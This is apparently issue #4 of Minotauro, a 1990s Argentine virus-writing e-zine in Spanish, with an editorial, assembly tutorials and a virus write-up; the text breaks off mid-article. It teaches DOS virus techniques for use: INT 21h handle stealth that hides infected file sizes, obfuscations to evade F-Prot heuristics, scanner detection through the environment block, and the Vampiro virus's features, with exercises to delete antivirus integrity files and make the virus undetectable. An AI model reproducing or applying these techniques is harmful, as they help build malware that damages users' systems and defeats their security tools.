Minotauro Magazine Issue #4 Hi readers, para comenzar, una pregunta facil. Existen? Que por que pregunto? Ok, llego la hora de la verdad, hablemos a calzon quitado (?): a nosotros nos hincha mucho las bolas hacer esta revista, gastamos tiempo que podriamos malgastar en algun vicio, en lugar de estar laburando intensivamente en esas notas tan lindas, asi que suponemos que la razon por la que lo hacemos es ustedes, si ustedes, los lectores, asi que si a ustedes la verdad les importa una mierda esta revista, y piensan que nos la podemos meter en el culo, digannoslo asi nos vamos tranquilamente a hacer otra cosa. Ok? Ahora bien, si les gusta la revista, y les gustaria que siga saliendo, no estaria de mas que hubiera algun feedback entre uds y nos, asi que porque no entran a su programa de comunicaciones favorito y se pegan una vuelta por alguno de nuestros bbs y nos dejan sus comentarios? Dionysios I +54-1-253-4389 Dionysios II +54-1-253-2098 Otro tema, se realiz¢ el "Congreso sobre Hacking y virus informaticos", del que nosotros y algunos otros fuimos invitados especiales. La cosa estuvo buena, pero es largo e ir  en la edici¢n n£mero cinco de esta ilustre revista :). Volviendo al tema de la "escena", ya van meses de OBV/2 en Satanic. La gente se pregunta que pasa que Azra no lo cambia... acaso se le habra pasado la fiebre del cambio de sistema? Satanic no es lo que era antes, en meses anteriores, un sistema no duraba ni medio mes... me acuerdo una vez que hasta puso un Waffle, creo que por dos dias. Mejor. Nuestras dos BBS "de consulta", listadas al principio, siguen tan estables como siempre. (?) Si alguna de ellas esta offline cuando llamen, no se preocupen, llamen al dia siguiente. Los dias de offline transitorio son comunes, debido a factores como presion atmosferica, ensanchamiento del agujero de ozono, y largo de las patillas de Menem. El otro dia reaparecio un BBS de nuestros amigos de HBO, que, como uds sabran, hacen otra revista, de hacking. El bbs se llama Losers Joint, y la verdad, esta excelente: NO ANSIS EMBOLANTES QUE OCUPAN VARIAS PANTALLAS, NADA DE WAREZ, SOLO CHABONES, Y UNA BBS CONFIGURADA CON 10.000 MENSAJITOS COPADOS. La verdad, yo me cague de risa en esa bbs, eso si, solo para english speakers. Ya que estamos, un saludo pa' los muchachos de HBO, estan muy buenos sus numeros 2 y 3 (jejej chiste para iniciados). Y bueh, esas cosas pasan... Bueh, paremos de hablar de BBS's, y vamos a lo que hoy nos ocupa. Ha habido en este numero incorporacion de nuevos columnistas, aunque material no falta... Los articulos de este A¥O son: :-) Editorial (sera este file? si, Corky) ................. 000 Handle Dir Stealth (Wma) .............................. 001 Anti-Fprot 2.13 (Drako) ............................... 002 Virus Vampiro (Drako) ................................. 003 Chantas Informaticos (Wma)............................. 004 Virus Emma Source Code (Trurl) ........................ 005 Programacion Anti-Heur¡stica (Uncle Agent)............. 006 Minotauro Virus Norton Guides (All) ................... .NG Una cosa muy importante :-).. No se si de dieron cuenta del entorno de la revista! :-). Luego de una intensa lucha contra nosotros mismo salio por fin a la calle. Que no, que le falta esto, que le falta lo otro y nunca se le daba el ok. Asi que nos desidimos y qued¢ MUY COPADO gracias a la buena voluntad de WM’, jeje, que se tubo que comer 1 millon de criticas el pobre :-)) Pero bueno, asi es como quedo todo al final. Quizas se le agregue algo en un futuro, pero por ahora se la banca :-). Los articulos estan todos encriptados, asi que si los quieren leer con otro editor de textos, consiganse un viewer/decryptor :-) o lo que sea, jejejej. Pero si son buenos, les decimos un secretito.. shhh!! con SHIFT-2 (@) Exportan los msg. asi que no jodan ;) ok men?? Otra cosa mas, con este n£mero les entregamos un Norton Guides con todos los art¡culos publicados hasta el momento sobre programaci¢n de virus nada mas.. El resto no tiene sentido.. Si les interesa podemos incluir todo pero no tiene sentido. Bah, como quieran Uds. Esta NG tendr  siempre el mismo nombre, asi que las versiones futuras DEBERAN SOBREESCRIBIR las versiones anteriores para que no existan confusiones. Ademas es los nuevos upgrades son siempre para mejor a diferencia de Micro Soft.. Pero bueno, eso es un caso particular como todos ya sabr n :-).. Bueno, y esto es todo... querian mas? Esperen el siguiente numero. ps: ah, y se preguntaran porque hago yo esto, y no Drako, que es el director. Bueno, yo tambien me lo pregunto. :-) Handle Stealth --------------------------------------------------------------------------- En el art¡culo anterior vimos el metodo de Dir Stealth o FCB stealth. Como dijimos, este stealth sirve para ocultar el incremento en el tama¤o del file infectado, pero solo afecta al comando DIR. El Pctools, Norton Commander etc, usan un metodo diferente para obtener los nombres de archivos, tama¤o, fecha etc, que es mediante Handles. El metodo de Handle consiste en que cuando un archivo es abierto mediante el metodo de handles,en una 'lista' del DOS se crea un handle, o sea un numero, codigo o como le quieran llamar, y a partir de ahora se pueden referir a ese archivo mediante SU HANDLE, para realizar cualquier tipo de operaci¢n con este. Distinto es el m‚todo de FCB el cual conlleva una tabla con la ubicaci¢n del file, atributos etc. Bueno, los programas tipo NC etc, usan el metodo de handles ya que es mucho mas f cil manejar los archivos de esta manera, teniendo un handle para cada file y no una tabla, ademas de otros puntos que no vale la pena discutir ya que no nos compete en este art¡culo. Para hacer esto usan las funciones 4Eh, y 4Fh, findfirst file y findnext file respectivamente. Lo que haremos, es EXACTAMENTE lo mismo que con el FCB stealth, solo que tenemos que tener en mente que trabajaremos con el DTA, y no con el FCB. Para simplificarlo, obviaremos la identificaci¢n de si es FCB extendido o normal, simplemente porque no estamos trabajando con FCB's :), y cambiar n los offsets en donde se encuentran los datos que vamos a modificar. Veamos la estructura del DTA: Offset Tama¤o Descripci¢n --------------------------------------------------------------------------- 00 byte atributo usado en la b£squeda (no documentado) 01 byte drive usado en la b£squeda (no documentado) 02 11bytes nombre usado en la b£squeda (no documentado) 0D word n£mero de entrada de directorio(desde 0,DOS 3.x+,no doc) 0F word n£mero del primer cluster del directorio actual cero para el directorio ra¡z (DOS 3.x+, no documentado) 11 word reservado (no documentado) 13 word n£mero del primer cluster del dircectorio actual cero para el directorio ra¡z (DOS 2.x+, no documentado) 15 byte atributo del file encontrado 16 word hora del file 18 word fecha del file 1A word tama¤o del file 1E 13bytes nombre y extensi¢n del file, ASCIIZ (o sea que termina en 0) ;) con los espacios extra¡dos. --------------------------------------------------------------------------- Bueno, cuando las funciones 4Eh y 4Fh son llamadas, se les pasa un par metro que va a ser el wildcard usado en la b£squeda, por ejemplo '*.COM', cuando la funci¢n encuentra un archivo que tenga cualquier nombre pero termine en .COM va a llenar el DTA con los datos de ese archivo, lo que haremos una vez que el DTA contengo esto, va a ser: * revisar el offset 16h para verificar que el file este infectado * en caso de que este infectado, restar al file size del offset 1Ah el tama¤o del virus. Comenzemos pues.. ;) Primero, en nuestro handle de la int 21h a¤adimos el c¢digo correspondiente, para interceptar las funciones 4Eh y 4Fh: handler_int21: cmp ah, 4Eh je handle_stealth cmp ah,4Fh je handle_stealth .... .... .... Ahora la rutina en s¡... handle_stealth: pushf ; simulamos un int 21h call dword ptr cs:(Old21) ; asi nos llena el DTA. jc handle_back ; error!. 1era. diferencia, si hubo error se enciende el Carry Flag, antes si AL era <> 0 indicaba que hab¡a ocurrido un error. Esto conlleva otra diferencia que veremos al final del c¢digo. push ax bx es ; guardamos registros mov ah, 2fh ; pedimos la direcci¢n int 21h ; del DTA. 2da. diferencia, como dije antes, estamos trabajando directamente con el DTA, nada de FCB, por eso obviamos la parte de verificaci¢n de FCB extendida o normal y vamos directamente a verificar si el file esta o no infectado. mov ax, es:[bx+16h] ; tomamos la hora del file ; del DTA and ax, 1fh ; tomamos los segundos. xor al, 1eh ; son 60 segundos? jne handle_pops ; no infectado, no restar 3era. diferencia, fijense que ahora el offset en el que est  la hora del file es 16h. sub word ptr es:[bx+1ah], virlen ; le restamos el tama¤o del sbb word ptr es:[bx+1ch], 0 ; virus al file. 4ta. diferencia, el tama¤o del file ahora esta en el offset 1Ah al 1Ch. handle_pops: pop es bx ax ; restauramos registros handle_back: mov cs:(buffer), ax ; guardamos AX cli ; deshabilitamos ints. sub sp, 2 pop ax ; toqueteamos el stack add sp, 6 ; para devolver los push ax ; flags que corresponde. sub sp, 4 sti ; habilitamos las ints. mov ax,cs:(buffer) iret ; volvemos de la int. buffer dw 0 5ta. e important¡sima diferencia! :), esto merece un comentario: Para que todo este toqueteo del stack!?. pues bien, antes cuando ocurr¡a un error, este se reflejaba porque el registro AL era desigual a 0. Entonces al no alterar el registro AL y volver a la int 21h con el registro tal cual esta misma lo habia dejado esta se daba cuenta que hab¡a ocurrido un error o no. Pues bien, ahora el error es marcado por el Carry Flag, cosa que cambia la situaci¢n, veamos por qu‚...: Una instruccion INT (int 21h etc), lo que hace es guardar en el stack los flags, el CS y el IP, asi cuando se hace un iret este saca los flags del stack y hace un jump far al CS:IP que esta en el stack. Analizemos nuestra rutina: * Se hace un INT 21h para llamar a la funcion 4Eh o 4Fh esto hace que en el stack se guarden los flags, CS:IP de esta manera - Stack - Flags CS IP * Ahora, desde nuestra rutina simulamos un int 21h haciendo un PUSHF, call dword ptr cs:(Old21), para llamar a la rutina original, asi que ahora tenemos en el stack : - Stack - Flags CS IP Flags CS IP * Ahora, si ocurri¢ un error, la rutina original de la int 21h va a prender el Carry Flag y va a hacer un iret para volver al lugar desde donde fue llamada.. - Stack - Flags CS IP Flags (con el Carry flag prendido) CS IP La rutina hace el iret, que pasa, se hace un jump far al CS:IP, estos 'desaparecen' del stack, y se hace un POPF, y entonces nos devuele los flags con el Carry flag prendido avisandonos que algo pas¢ y no se pudo realizar la operaci¢n correctamente. Pues bien, si nosotros luego del PUSHF, CALL DWORD PTR CS:(Old21), tenemos un JC HANDLE_BACK, donde Handle_Back: iret Que va a pasar!?. El stack quedo asi: - Stack - Flag CS IP El iret va a jump far a CS:IP y luego va a sacar los FLAGS del stack, y devolverlos asi al programa que realizo el INT 21h. Pero alto! :), que pas¢? los FLAGS que el IRET va a devolver van a ser los flags que exist¡an ANTES de la llamada por parte nuestra a la int 21h original, asi que estos VAN A SER INCORRECTOS, Y NUNCA VAN A LLEGAR AL PROGRAMA EL AVISO DE QUE HUBO UN ERROR, asi el programa va a seguir llamando a la int 21h 'infinitamente', ya que el Carry Flag nunca le va a llegar avisando que hubo un error!. Entonces, lo que hacemos al toquetear el Stack es tomar los flags del stack que nos devolvi¢ a nuestra rutina la int 21h original, y ponerlos en el mismo stack en el lugar de los flags que van a ser devueltos al programa al hacer el £ltimo IRET. asi..: El programa llama a la int 21h - Stack - Flags CS IP Nuestra rutina intercepta ese llamado y llama a la int 21h original: - Stack - Flags CS IP Flags CS IP La int 21h original pone los flags que correspondan y vuelve con un IRET. - Stack - Flags CS IP Al volver a nosotros los Flags actuales son los que nos devolvi¢ la int 21h original. A pesar de que ahora la £ltima entrada del Stack es IP los Flags CS e IP anteriores siguen existiendo, lo que hacemos es cambiar el Stack Pointer (SP) para ir moviendonos por el stack y cambiar los flags. Vamos a usar AX para almacenar los flags temporariamente, ya que 'no podemos' usar el Stack porque es lo que estamos toquetando :). mov cs:(buffer), ax ; guardamos el valor de AX cli ; deshabilitamos las ints para que ; nadie use el stack ni lo mueva. sub sp,2 El stack se incremente hacia abajo (direcci¢n mas alta a mas baja), le restamos 2 al stack pointer y estamos en el lugar donde estaban los flags que corresponden: - Stack - Flags CS IP (SP) Flags (SP-2) Ahora hacemos un POP AX y nos queda en AX los flags, y SP se incremente en 2 y apunta de nuevo a IP pop ax ; tomamos los flags - Stack - Flags CS IP SP apunta aca ahora Flags POP AX -> SP + 2 -^ o sea.. - Stack - Flags CS IP (SP) Ahora le sumamos 6 a SP para que SP apunta a los Flags que vamos a devolver (vamos de a 2 porque se guardan siempre words en el stack :) add sp,6 ; le sumamos 6 - Stack - Flags SP apunta aca CS ^ IP SP + 6 -----| AX contiene los flags, si hacemos un PUSH AX ese valor se va a guardar en el lugar en el que apunta SP, que oh! casualidad, es el lugar de los flags que van a ser devueltos cuando hacemos el iret ;). PUSH AX Tambi‚n disminuye en 2 a SP para que apunta a la pr¢xima 'casilla' del stack.. push ax ; guardamos los flags que corresponden - Stack - Flags AX se vuelca aca, y SP-2 CS <-- quedamos ac  ------| Ahora le restamos 4 para que quede SP apuntando a IP y poder hacer el jump: sub sp, 4 - Stack - Flags CS IP (SP apunta correctamente) Volvemos a habilitar las interrupciones sti Restauramos el valor de AX mov ax,cs:(buffer) Volvemos con un iret iret y el iret salta al CS:IP y los flags que devuelve son los correctos. Listo!, la rutina en s¡ es practicamente igual a la de FCB, salvo esto £ltimo que quiz s si no est n muy familiarizados con el manejo del stack les cueste un poco entenderlo, pero como dije antes, el codigo es despreciable, y vamos!, pongan estas rutinas en sus virus que valen la pena y son sumamente simples!. -- Por WM’ -- F-Prot 2.13 (+) - Edicion n£mero 1.200+1 ;) --------------------------------------------------------------------------- Hi all. Como andan... ya llegaron al punto de evadir estos tan precisos antivirus ?? (Iron¡a detectada :-) Bueno, debido a la cagadura de mi disco de mierda, se perdio esta nota en particular, que justamente el backup que tenia era viejo :-(( ;). Pero bueno, asi es la vida. Volviendo al tema en s¡ del antivirus este de mierda, les comento que no es nada de otro mundo.. El mal parido se la da de guacho y anda por ahi detectando a inocentes virus nuevos, como si fueran mutaciones de virus ya existentes.. Pero que se le va a hacer ? Ademas de ayudarlo para que los users no se asusten al pedo ;) Esta parte en particular es la mas sencilla de todas. Con el fuente de su virus a mano, lo compilan y ven que mierda les dice el F-Prot. Si se los detecta como 'Posible Virus Nuevo', bueno, ahora les explicamos como cagarlo, pero si se los detecta como 'Posible Mutacion' de algun virus ya conocido, hagan lo siguiente: * Recorten o comenten la primer mitad del virus.. Asi de bruto, y fijense si sigue saltando. Si es asi, evidentemente lo que jode esta en la ultima mitad del programa. Sigan sacando de a mitades hasta pegar con el codigo que jode. Facil.. Un consejo: Mientras van recortando NO 'descomenten' lo ya anulado. Puede darse el caso de que siga jodiendo y no lo ubiquen mas :) * Una vez que tienen aislado ese pedazo de codigo, varien el orden de las instrucciones, o pongan codigo muerto.. Generalmente (bah, las dos veces que me paso :), con variar el orden de las instrucciones fue suficiente. De esta manera ya estaria este 'problema' solucionado :) Bueno, ahora lo que falta es cagar al an lisis heur¡stico del fprot. Bastante sencillo. A diferencia del TBAV, este programa no muestra los flags que va detectando, pero se pueden dar cuenta de la misma manera que antes: Ubiquen el codigo y var¡enlo un cacho nomas.. Algunas ayuditas pa' que no pierdan tiempo probando: * Si necesitan cargar un registro con un valor tal, lo pueden hacer de la misma manera que antes (Osea un MOV), pero jodiendolo un cacho: Por ejemplo: MOV AX, 4301h Cambiarlo por: MOV AX, 4302h DEC AX Bueno, esto seria suficiente para el TBAV, pero el fprot se da cuenta de este 'enredo' y le sigue la pista al registro.. Osea que sabe que a AX se le paso un 4301h.. Haciendo unos PUSH y unos POPS tambien bastaba para el TBAV, pero el fprot tambien se da cuenta.. Lo que pueden hacer es: MOV AX, 4301h XOR AX, 0ffffh NOT AX Con este manejo pierde el rastro y no jode mas.. Tambien pueden joder con otro registro si quieren: MOV BX, 4301h MOV AX, BX Con esto tampoco se da cuenta :) Bueno, la forma no seria hacer que pierda el rastro de los registros, sino que de la interrupcion (y si es posible de todo ;)) como explica Uncle Agent en este mismo numero.. * De otro codigo que se da cuenta es, en las rutinas de desencripcion, el momento en el cual se pasa a CX la longitud del virus.. No me pregunten como se da cuenta, pero es asi y punto ;) Osea que ya saben como hacer: MOV DX, VIRLENGTH MOV CX, DX * Otra cosa que no le gusta para nada, ;) Es cuando ve codigo para desinstalar o anular al Vsafe.. Bueno, lo mismo que antes. Ahora cambiando un cacho de target.. Otra cosa muy puta del Fprot.. Si nosotros hacemos Dir_Stealth, este se da cuenta.. Como ?!?!? Bueno, piensen una cosa.. El Dir_Stealth consiste en restarle al file infectado el tama¤o del virus, para que no se vea a simple vista.. Bueno, lo que hace el fprot es comparar el tama¤o reportado por la 11h, 12h, 4eh, 4fh con el tama¤o REAL del file moviendo el puntero al final del mismo. En un sistema limpio, estos dos datos coinciden, pero en uno infectado NO. Entonces avisa: "WARNING! An active Stealth Virus is in Memory! Please reboot from a clean blah blah blah..." EVIDENTEMENTE Uds. no quieren que esto les aparezca a los users, porque seria PEOR que si lo detectase como un posible virus.. Y por culpa de esto no van a dejar de hacer su tan preciado Dir_Stealth, o si !?!? no!! :) Bien, asi se habla.. Entoces.. que podemos hacer.. Si, lo que se puede hacer es verificar si el servicio 11h, 12h, 2eh y/o 4fh es pedido por el fprot. Como se puede hacer esto.. Bueno, buscando en el Environment Block el nombre del hoste es la manera.. El formato del Environment no se los pongo porque no lo tengo a mano, pero les pongo codigo funcional en cambio ;) HANDLER_4Eh_4Fh: PUSHF CALL DWORD PTR CS:[OLD_INT_21h-100h] ;<== -100h en mi caso nomas ; Indica la pos. en mem. de ; la copia en el MCB ;Aca llamo a la 21h original para que me llene el DTA con los datos del ;file encontrado.. JC NO_RESTAR_HANDLE ;Si tengo carry es que no hay mas files.. Por ende no resto ni modifico ;nada continuo como si nada.. Antes de ejecutar el siguiente proc. ;acuerdense de salvar todos los registros para despues dejarlos como ;estaban.. CHEQUEAR_HOST: MOV AH, 62h ;Obtengo el segmento del PSP, donde INT 21h ;se encuentra el segmento del ;Environment Block (offset 2ch) CLD ;El Segmento del PSP me lo devuelve ;en BX.. MOV ES, BX ;Lo paso a ES MOV ES, WORD PTR ES:[2Ch] ;Ahora le paso a ES, el segmento ;del Environment Block XOR DI, DI ;El Environment comienza en el ;offset 0.. MOV CX, 0001h ;Para que busque 2 ceros.. BUSCO_2CEROS: INC DI CMP BYTE PTR ES:[DI], 00h JNE BUSCO_2CEROS LOOP BUSCO_2CEROS ;Este bucle es para posicionarme DESPUES del segundo string del Environment ;El nombre del host es el segundo string despues de un 01h (Este byte se ;encuentra despues de 2 ASCIIZ strings, por eso busco dos 00h. BUSCO_1UNO: INC DI CMP BYTE PTR ES:[DI], 01h JNE BUSCO_1UNO BUSCO_1CERO: INC DI CMP BYTE PTR ES:[DI], 00h JNE BUSCO_1CERO: INC DI ;<== ES:DI <== Filename del host ;Bueno, hasta les doy el codigo.. de ahora en mas es sencillo. Piensen que ;YA en ES:SI tienen el nombre del programa host que llamo a la funci¢n.. ;as¡ que rastreen esa cadena que es un full path, para ver si es alg£n ;programa 'no deseado'.. Si es asi NO le restan el tama¤o del virus al file ;en cuesti¢n y listo.. Lo restan cuando estan seguros.. :) Y ya me estaba olvidando.. Una cosa mas que me di cuenta del Fprot es que detecta el momento cuando se obtiene el offset beta, delta o como mierda le quieran decir.. :) Pero se caga facil. Con cualquier metodo equivalente es suficiente. (En este mismo numero se explica uno corto y sencillo) Con esto creo que ya tienen suficiente como para que el fprot no joda por rato largo.. Asi que los dejo.. Cualquier problema pueden contactarnos en los bbs mencionados antes.. Cordialmente, Drako.. Virus Nacionales, hoy : Vampiro. --------------------------------------------------------------------------- Hi again. Hoy les venimos con un fuente de vigencia en la calle todavia. El virus es el Vampiro. Es increible que todavia se sigan escuchando gritos desesperados de usuarios apestados por este virus ;). Siendo muy parecido al 786 v1.01 y a muchos virus no-residentes, este tiene un punto a su favor. Salio a la calle justo en el momento del furor del DOS 6.0 con todo su sistema anti-virus infalible con chequeadores de integridad y modulos antivirus residentes (el invensible Vsafe ;)). Comparando este virus, con el 786 v1.01, este tiene algunos puntos a su favor. Por ejemplo: El 786, infectaba solamente en el directorio actual, osea que no tenia grandes posibilidades de expansion. Lo que si tenia el 786, era la ayuda de una variable hermosa: el PATH ;) Con este gran aliado, el virus, por mas que no tenga busqueda transversal, tiene chances de infectar una maquina en un tiempo relativamente aceptable, ya que al cargar un archivo que este en el path, desde cualquier lado, se infecta el directorio ACTUAL, osea que el virus salio del directorio. Pero que pasaria si en el path no hay ningun archivo infectado ? Al virus le costaria UN HUEVO salir del directorio de donde se encuentra. Por esto mismo es que se utiliza la busqueda transversal de archivos. Lo que hace esto es, en vez de limitarse en el directorio actual, intenta salir del mismo, y en lo posible llegar a todo el disco por si solo. Pero tampoco es necesario que se scanee TODO el disco, ya que con una rutina bien dise¤ada, es posible tener un gran rango de infeccion. Tampoco tiene que ser muy larga, ya que tardaria demasiado en revisar el disco por archivos. Eso SI que seria notorio. Este virus en particular tiene la siguiente rutina de busqueda: Lo primero que hace es buscar la primer rama de directorios que encuentre, y meterse. Una vez en esta rama, no se sigue metiendo, sino que intenta infectar algun archivo de por ah¡, cosa de no perder mucho tiempo metiendose en las ramificaciones. Si todo sale bien, despues el archivo recien infectado es el que se encargara de meterse por esas sub-ramas. En caso de no poder encontrar ningun archivo que cumpla con las condiciones para poder infectarse, retrocede de directorio (Osea que vuelve al directorio de donde salio). Una vez alli, se mete en la PROXIMA rama y hace lo mismo. Una vez en el directorio original, si no encuentra mas ramas para meterse, vuelve a retroceder. Si esta operacion me da error, el virus asume que estamos en el directorio raiz, y termina (Para esto vuelve al directorio original). En caso de que retroceda correctamente, efectua el mismo procedimiento de antes : Busca la primer rama, se mete, etc. Osea que en un momento va a llegar tambien al directorio original, pero esta vez en busca de archivos para infectar, NO de paso como antes. Esta es la rutina que utiliza el Vampiro. Por s¡ sola, es la parte de mas laburo de todo el virus ;) La version que les damos del Vampiro, es la version com£n, osea la que es detectable por el ThunderByte. Esta version tambien tiene vigencia en la calle, pero debido a su deteccion por el TB, no creo que queden muchas copias por ahi dando vuelta :( ;). La intencion de otorgarles virus relativamente nuevos, es para que vean masomenos como anda la industria nacional ;) que es lo que nos interesa. Bueno, volviendo al virus en s¡, sus caracteristicas: a) Infector de COM no residente b) Appending c) Desinstala a lo bruto al Vsafe d) Borra los CHKLIST.MS del MSAV e) Infecta Read Onlys f) No modifica la fecha del file g) Virulencia 1 en 1 h) Playload: Mensaje y salida al DOS i) Fecha de Activacion: Del 1ero de Junio hasta el 31 de Diciembre de c/a¤o De 22hs a 24hs imprime un mensaje y no deja ejecutar el hoste. j) Es detectable por el Fprot 2.13 y Tbav. k) Sexo: Masculino ;) Notas: a-b) Bueno, el tipo de virus ;) c) Ese codigo lo mando al muere un par de veces ya. Como dice en la mino_001, puede ser que quede atrapado abajo de otro residente y no se pueda desinstalar. d) Ese archivito que borra, es el que guarda la informacion del chequeador de integridad del MicroSoft AntiVirus quie viene con el DOS 6.0+. Al chequear la integridad de un archivo, el MSAV compara los datos del archivito este, (supuestamente creado cuando el archivo estaba limpio), con el archivo actual. En este archivito esta guardada la longitud del file por ejemplo y un CRC. En caso de que la informacion leida del archivo no coincida con los datos guardados en el CHKLIST.MS, asume que fue modificado por un virus, y hace saltar la alarma. Lo mismo pasa con el ThunderByte, pero ‚ste guarda la informacion en otro archivito llamado ANTI-VIR.DAT (oculto en cada directorio). e) El virus es capaz de infectar archivos con el atributo de Read Only. Esto es posible seteando los atributos del file a 0, osea que primero los cambio, infecto tranquilo, y despues los vuelvo a poner como estaban .. ojo, para esto es necesario ANTES de anularlos, obtener su estado y recien despues anularlos. Sory si soy medio obvio , jeje ;) f) Lo mismo que antes.. primero guardo la fecha, infecto y vuelvo a poner la fecha como estaba antes. g) Que infecta un solo archivo por cada vez que se ejecuta. h) El "ataque" del virus, es la impresion de un mensaje en pantalla y la terminacion de la ejecucion del hoste. i) La fecha de activacion. lisa y llanamente. j) Shit@! ;) k) Totalmente drogado ;) ;-- Cut Here -------------------------------------------------------------- Source en : VAMP_10.ASM ;-- Cut Here -------------------------------------------------------------- Espero que esto les sirva para entender aunque sea el funcionamiento de los mas sencillos.. Como ya dije antes: Paso x paso ;) Antes de despedirnos, les quiero dejar algunos 'ejercicios' para practicar un cacho, ok? ;) !) Arreglar eso de desinstalar el Vsafe a lo bruto! es una mierda.. Cambienlo por codigo de verdad.. No lo desinstalen, anulenle los flags! ;) En la mino_001 ya est  explicado ;) @) En vez de borrar el CHKLIST.MS nada mas. Hagan que borre tambien el ANTI-VIR.DAT del ThunderByte. Con esto va tomando mejor sabor ;) #) Cambienle la fecha de activacion para que ataque desde un dia determinado en adelante for ever & ever ;) $) Y el mas jugoso de todos. Haganlo invisible para el Fprot 2.13 y Thunderbyte. Con esto, ya estaria como para evadir al mejor antivirus ;) Bueno, esperamos que les haya servido y cualquier duda ya saben donde encontrarnos. Hasta la proxima, Drako ;) Chantas inform ticos -------------------------------------------------------------------------- En este art¡culo voy a transcribir una nota aparecido en la ¨Virus Report? N§ 10. Esta nota es la que lleva el t¡tulo 'Virus Chilenos', que realmente es MUY c¢mico.. ;). sin mas ch chara (jUAa!, que me mand‚! ;)), vayamos a la susodicha.. Nota: mis comentarios enter []. Virus Chilenos Analizamos los dos primeros virus chilenos ------------------------------------------ A principos de 1993, abruptamente se nos rompe la provinciana tranquilidad inform tica, pues aparece en Valpara¡so (Chile), un virus nuevo que pasaba [Eh!? 'Valpara¡so (Chile)..', 'se NOS rompe..' co¤o, yo pens‚ que la virus report era una publicaci¢n argentina!, porque entonces en el t¡tulo el 'ANALIZAMOS', mierda, ser  que el art¡culo lo escrib¡o alguien ajeno a la revista?... quizas... :)] desapercibido para todos los antivirus, a excepci¢n del SCAN (97), que lo identificaba como el 1530 (CB 1530). [ con qu‚ antivirus probaron que lo detect¢ solo el SCAN?, MSAV, CPAV, cachito antivirus? ;), mierda, encima el SCAN lo detecta mal.. o sea no lo detecta especificamente.. ;)] Para qui‚nes estamos preocupados por el tema fue una novedad, ya que ese esp‚cimen no ten¡a registradas apariciones en nuestro pa¡s, si bien era [ preocupados!?, cagados de que les agarre un virus! ;), ah, y chicos, ud. que est n creciendo, observen, 'esp‚cimen', con este sensacionalismo se refiere a un programa de computadora como cualquier otro, mas all  de sus cualidades, asi les venden los grandes anti-virus y toda la mierda ya m s alla de lo inform tica, acost£mbrense desde ahora a diferenciarlo ;) Ademas, se acuerdan de antes, era 'ANALIZAMOS', virus report es argentina, el virus se detecto en 'VALPARAISO CHILE', entonces, 'EN NUESTRO PAIS'? ;)] conocido internacionalmente desde 1991, siendo considerado como una peligrosidad medio-alta. Investifando a fondo fui encontrando que la informaci¢n existente no calzaba con las caracteristicas que estaba presentando este supuesto "1530", especialmente los tama¤os en RAM, en archivos y el hecho que ‚ste infecta los OVL, algo que no logr‚ por m s empe¤o que le puse, [ Todo este blablabla para decir que el VSUM le dec¡a algo distinto a su CHKDSK :) ] con el bicho nuevo. Despu‚s de muchos An lisis y pruebas llegu‚ llegu‚ a la conclusi¢n de que se trataba del primer virus 'made in Chile', del que s¢lo se sab¡a el nombre, CPW y que se habr¡a originado en La Serena.(Rev. Microbyte Nov. 1992) [ beep!, 'bicho', sensacionalismo encontrado!.. removing.. ;). Otra, alguien me puede decir por qu‚ 'An lisis' esta escrito con la 'A' may£scula?. :). Claro, claro, despues de muchosa an lisis, que le hiciste al virus, prueba de orina? :)] Los datos t‚cnicos obtenidos, los entrego en el recuadro 1 para mayor claridad. [No sue¤en que voy a copiar algun cuadro de esos.. :), consigan el VSUM!;)] En un comienzo la situaci¢n fue compleja, ya que cont bamos solo con el SCAN, que s¢lo lo detectaba (como 1530), sin limpiarlo hasta que aparecieron los upgrades de los otros softwares. [ heheh!, como que al principio contaban SOLO con el SCAN, no era que ning£n antivirus lo detectaba!?, imagino que habr¡an probado con todos ;) Ah, no, quizas como ten¡an solo el SCAN llamaron a alg£n amigo y le pideron que pasara los demas por su PC y como no detect¢ nada dieron por hecho que lo hab¡an revisado con todos los antivirus :)] En la revista Microbyte n§ 98 realic‚ el primer an lisis que se hizo de este esp‚cimen. [ BEEEp! ;) ] CHILE MEDIERA: SEGUNDO VIRUS CHILENO --------------------------------------------------------------------------- No acab bamos de reponernos de la sorpresa, cuando comenzamos a observar [ o s¡!, casi les provoc¢ un paro cardio-respiratorio! :) ] que aparentemente CPW se comportaba de una manera distinta, al principio supuse que deber¡a a la fecha, y que preparar¡a alguna fechor¡a, ya que a esa altura a£n no se pod¡a determinar con certeza los d¡as de ataque. Pero no era CPW, sino que se trataba de su hermano menor, bautizado como Chile Mediera, (Chile Mierda), del mismo autor y de algunas caracter¡sticas [ para para para, vamos por parte.... :) No era que analiz ban en la nota a los dos virus chilenos?, pero seg£n esto el gil que escribi¢ este se confundi¢ y no era el CPW sino que era otro, entonces de que mierda me est s hablando!? :) despues, alarma de sensacionalismo de nuevo, not¢ que se comportaba distinto?, penso que preparar¡a alguna fechor¡a?, eh!?, que me decis pibe?, que.. el virus se arrastraba de izquierda a derecha y no de derecha a izquierda?, no ten¡a pesta¤as?, no sacaba la lengua al caminar!?, de que me hablas bepi!? :). calmate y habla mas clara y sinceramente por favor.. ;) ] similares, pero de mucha mayor peligrosidad, como queda demostrado por el hecho que el CPW aparentemente se est  extinguiendo, pues cada vez reporta menos apariciones,, mientras que el Chile Mediera (CHME) tiene "vuelto loco a medio mundo" en mi pa¡s, [ beep!, 'en mi pa¡s', mierda, sigo notando conflicto con el 'analizamos' :). despues, 'se est  extinguiendo' !?!?!?, mierda, basta de esa basura! despues dice que tiene vuelto loco a medio mundo, y mira, si vos sos el especialista, no me quiero imaginar los pobres usuarios normales! :). ] dada una rara y peligros¡sima caracter¡stica que analizaremos al final. [ Por dios, no se pierdan esta.. :) ] Su curr¡culum es el del recuadro 2. [ minga! ;) ] Las diferencis con su hermano mayor son varias e importantes. Borra varios antivirus m s que CPW. Tiene alguna forma de encriptamiento, pues al desplegarse en la RAM su c¢digo cambia con respecto al que presenta cuando est  inactivo en un archivo, [ Eh!?, ay ay ay... que quisiste decir pibe!? :), ademas, lo analizaste o que?, no sabes una mierda que hace! :) ] esto trae como complicaci¢n que pra su detecci¢n a trav‚s de cadenas, se deban ingresar dos, aunque cabe la posibilidad que se pueda hallar una que mantenga su estructura, pero eso implicar¡a un trabajo de chinos. [ ay, te mandaste cualquiera de nuevo.. :) ] Por esta raz¢n los Scan hasta el 104 lo detectaban solo en RAM, confundi‚ndolo nuevamente con el 1530, lo que explica el explosivo ritmo de propagaci¢n de ‚ste, en comparci¢n con CPW, que a pesar de ser mas antiguo no ha prosperado mucho. [ el pibe este es representante de McAffe no!?, me tiene HARTO con el SCAN! que cosa explica el que!?.. dios.. :) ] Otra curiosidad: cuando termina la ejecuci¢n de alg£n programa que 